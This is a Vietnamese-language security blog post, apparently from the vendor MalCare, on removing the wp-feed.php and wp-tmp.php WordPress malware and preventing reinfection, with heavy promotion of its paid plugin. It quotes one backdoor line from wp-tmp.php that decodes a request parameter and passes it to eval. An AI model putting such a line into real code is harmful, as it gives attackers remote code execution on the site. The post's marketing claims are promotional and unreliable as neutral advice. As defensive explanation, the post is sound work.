Scanner báo "web bị hack" nhưng web trông bình thường? Khách phàn nàn quảng cáo spam nhưng bạn không thấy?
Khả năng lớn web đã bị hack.
Hacker có cách giấu mã độc khéo léo để chủ web không phát hiện, từ đó khai thác web lâu dài. wp-feed.php là một trong những hack khéo léo nhất.
Ẩn khỏi chủ web, nó hiển thị quảng cáo hàng hóa trái phép, ma túy, nội dung người lớn cho khách truy cập.
Dù phát hiện, tìm hết nơi mã độc lan đến khó, khi không thể. Xóa nhiễm phức tạp. Xóa xong, 8/10 trường hợp nhiễm lại.
Kết luận: rất khó xóa nhiễm wp-feed.php khỏi WordPress.
May mắn, chúng tôi xử lý malware này hàng trăm lần. 10 năm qua, không chỉ dọn dẹp wp-feed cho hàng nghìn web, còn ngăn chặn tái nhiễm.
Đừng lo. Bạn đang ở nơi an toàn.
Bài viết này hướng dẫn:
- Cơ chế hoạt động của wp-feed.php và tác hại
- Cách xóa khỏi web
- Cách ngăn chặn tái nhiễm
TL;DR: Để xóa nhiễm wp-feed.php, chỉ cần cài WordPress Malware Removal của chúng tôi và chạy Auto-Clean. Plugin cũng ngăn tái nhiễm bằng: xóa backdoor cho phép tái nhiễm, chặn traffic độc hại bằng firewall và bảo vệ đăng nhập.
wp-feed.php & wp-tmp.php Là Gì? (Nguyên Nhân, Triệu Chứng, Tái Nhiễm)
Tóm lại: WP-Feed là malware hiển thị quảng cáo độc hại trên web. Mục tiêu: dụ khách click > chuyển hướng đến web độc hại.
> Web tôi bị nhiễm như thế nào?
Thường do dùng plugin/theme nulled.
Nulled hấp dẫn vì cho tính năng premium miễn phí. Nhiều người nghĩ nulled được chia sẻ từ thiện. Sai lầm. Nulled được phân phối để hacker dễ dàng truy cập web bạn.
Nulled đầy rẫy malware. Cài nulled = mở cửa cho hacker.
Ngoài ra, plugin/theme cũ cũng có lỗ hổng. Hacker khai thác để xâm nhập. Cũng khai thác username/password yếu như "admin"/"p@ssword". Dễ đoán = hacker đăng nhập, gieo wp-feed.php trực tiếp.
> Tại sao hacker gieo wp-feed.php?
Mục đích: cướp khách truy cập, lừa họ mua dịch vụ/hàng giả để kiếm tiền.
Kỳ diệu: họ làm thế mà chủ web không hề hay biết.
> Tại sao khó nhận ra triệu chứng?
Sau khi xâm nhập, hacker gieo 2 file (wp-feed.php & wp-tmp.php) vào thư mục wp-includes (thư mục core WordPress, chứa theme).
File wp-feed bắt đầu lây lan sang file WordPress khác, đặc biệt functions.php của theme đang active.
Từ trong functions.php, hacker hiển thị popup quảng cáo độc hại.
Phần "quỷ" nhất: quảng cáo chỉ hiển thị cho khách MỚI, không phải khách quay lại. Malware ghi nhận khách truy cập để chỉ hiện quảng cáo cho khách mới. Cách khéo léo tránh bị phát hiện.
Vì vậy, bạn – người thường xuyên vào web mình – không bao giờ thấy triệu chứng hack.
Cách Dọn Dẹp Mã Độc wp-feed.php
2 cách:
- Dùng plugin (dễ)
- Làm thủ công (khó)
1. Xóa WP-Feed.php Malware Bằng Plugin (Cách Dễ)
Có thể bạn đã cài plugin bảo mật – chính nó cảnh báo file độc: wp-includes/wp-feed.php và wp-includes/wp-tmp.php.
Nhiều plugin bảo mật có dịch vụ dọn malware, nhưng ít plugin làm nhanh và hiệu quả như MalCare Security:
- Dọn web trong 60 giây. Không tạo ticket, không chờ hàng đợi, không giao credential cho bên thứ 3.
- Quét sâu mọi góc ngách, tìm mọi script độc hại trên web.
- Dùng phương pháp phi truyền thống phát hiện malware mới và ẩn sâu. Phân tích hành vi code để xác định ý định độc hại. Đảm bảo không nhầm lẫn code tốt thành code xấu.
- Làm tất cả trong vài phút.
Dọn wp-feed.php với MalCare:
- Cài và kích hoạt MalCare Security trên web WordPress.
- Từ dashboard menu, chọn MalCare. Nhập email > bấm Secure Site Now.
- Trang sau: nhập mật khẩu, rồi nhập URL web. MalCare quét ngay lập tức – mục đích: tìm mọi instance mã độc trên web. Không chỉ wp-feed.php, wp-tmp.php, mà cả code độc hại trong functions.php. Cũng tìm mọi backdoor để ngăn tái nhiễm.
Phát hiện mã độc > cảnh báo.
Lưu ý: Malware removal của MalCare là tính năng premium. Chỉ plugin dọn malware tức thì trên thị trường. $99/năm dọn 1 web không giới hạn lần, bảo vệ tốt nhất. Xem MalCare Pricing.
- Để xóa mọi dấu vết wp-feed.php, chỉ cần bấm nút Auto-Clean. MalCare dọn dẹp tức thì.
Xong. Đó là cách dọn web bằng plugin.
2. Xóa WP-Feed.php Malware Thủ Công (Cách Khó)
Xóa thủ công khá thử thách, vì nhiễm này có nhiều "moving pieces":
- Hacker upload 2 file độc: wp-feed.php & wp-tmp.php. Xóa chúng – phần dễ nhất.
- Nhiễm lan sang file WordPress khác, kể cả functions.php. Khó vì: ai biết nhiễm lan đến đâu?
- Mất hàng giờ tìm mã độc.
- Nhận diện mã độc khó – chúng ngụy trang tốt, trông như code bình thường.
- Code độc biết như
eval(base64_decode)có thể nằm trong plugin hợp pháp, không dùng cho mục đích xấu. Xóa nhầm = hỏng plugin, gãy web. - Khá cao xác suất bỏ sót code > tái nhiễm.
Xóa thủ công không hiệu quả.
Vẫn muốn thử? Backup toàn bộ web trước. Xóa nhầm gãy web > restore ngay. Xem danh sách best backup services. Xem bài WordPress hacked – nhảy đến phần "How to Clean a Hacked WordPress Website Manually".
Tác Hại Của Nhiễm Mã Độc wp-tmp.php
Sự hiện diện của wp-feed.php & wp-tmp.php gây hậu quả nặng nề:
- Tăng bounce rate & giảm thời gian khách ở lại web.
- Popup quảng cáo làm web nặng và chậm.
- Không ai thích web chậm > khách bấm back trước khi load xong > hiệu ứng domino.
- Search engine thấy khách rời nhanh > kết luận web không đáp ứng nhu cầu > giảm rank tìm kiếm.
- Công sức, thời gian, tiền SEO bị lãng phí.
- Web bị hack > Google blacklist, hosting suspend, Google Ads suspend. Traffic giảm thêm.
- Dọn web hack tốn kém nếu không dùng công cụ đúng.
Tin tốt: bạn biết web bị hack > có thể dọn dẹp và ngăn chặn tác hại.
Cách Bảo Vệ Web Tránh Mã Độc wp-feed.php Tương Lai
Nhiều độc giả dọn wp-feed.php nhưng malware quay lại. Do backdoor còn trên web. Backdoor ngụy trang cực tốt, developer non chuyên nghiệp dễ bỏ qua.
Trước đó đã giải thích: hacker gieo 2 file wp-feed.php & wp-tmp.php. File wp-tmp.php đóng vai backdoor. Mở file thấy script dạng:
$p = $REQUEST$#91;”m”]; eval(base64_decode ($p));
Tin tốt: bảo vệ web khỏi hack tương lai bằng các biện pháp sau:
1. Xóa Nulled Software & Ngừng Sử Dụng
Đang dùng plugin/theme nulled? Xóa ngay lập tức. Hacker truy cập web qua nulled. Không xóa nulled = dọn sạch cũng vô ích, hacker quay lại gieo malware.
Nếu cho user cài plugin/theme, đảm bảo họ không dùng nulled. Thực tế, tốt nhất chặn cài đặt plugin/theme hoàn toàn bằng MalCare: vào MalCare dashboard, chọn web, bấm Apply Hardening, bật Block Plugin/Theme Installation.
2. Hardening Bảo Mật Web
Ngăn hacker gieo file độc (wp-feed.php) vào thư mục WordPress bằng thay đổi quyền file (file permissions). Quyền file quy định ai được truy cập/sửa file nào. Chặn user sửa thư mục wp-includes. Xem chi tiết: WordPress File Permissions.
Cũng chặn hacker sửa theme bằng tắt file editor. Ngăn chèn popup quảng cáo. Làm thủ công rủi ro, không khuyên. Dùng MalCare: 1 click tắt file editor.
Xem thêm: WordPress Hardening.
3. Luôn Cập Nhật Website
Giống software khác, plugin/theme WordPress phát sinh lỗ hổng. Developer biết lỗ hổng > vá lỗi qua update. Chậm update = web ở trạng thái dễ bị tấn công.
Hacker giỏi khai thác lỗ hổng. Luôn tìm web có lỗ hổng để xâm nhập gieo malware. Không bao giờ trì hoãn update.
Xem thêm: WordPress Security Updates, How to Update WordPress.
4. Buộc Sử Dụng Credential Mạnh
Cách dễ nhất vào web: trang đăng nhập. Hacker chỉ cần đoán đúng credential. Bot thử hàng trăm user/pass trong vài phút. User/pass yếu như "admin"/"password123" = bot vào trong 2 giây. Đây gọi là brute force attack.
Buộc mọi user dùng username duy nhất, password mạnh. Có thể thêm các biện pháp bảo vệ login page. Xem WordPress login security measures.
5. Sử Dụng Firewall
Tuyệt vời nếu chặn hacker trước khi chạm web? Firewall là công cụ đó.
Firewall kiểm tra traffic muốn truy cập web. Phát hiện IP độc hại > chặn ngay. Lọc bỏ hacker và bot.
Xem danh sách best WordPress firewalls. Đã dùng MalCare? Firewall đã bật sẵn.
Tiếp Theo Nên Làm Gì?
Đã hướng dẫn dọn web và bảo vệ không bị hack lại. Lời khuyên cứu web khỏi nhiều thảm họa: backup web định kỳ.
Web bất ngờ báo lỗi hoặc gãy? Backup khôi phục tạm thời ngay. Đăng ký MalCare Security = có addon backup (phí thêm). Liên hệ chúng tôi để biết thêm.
Thử MalCare Security Plugin Ngay!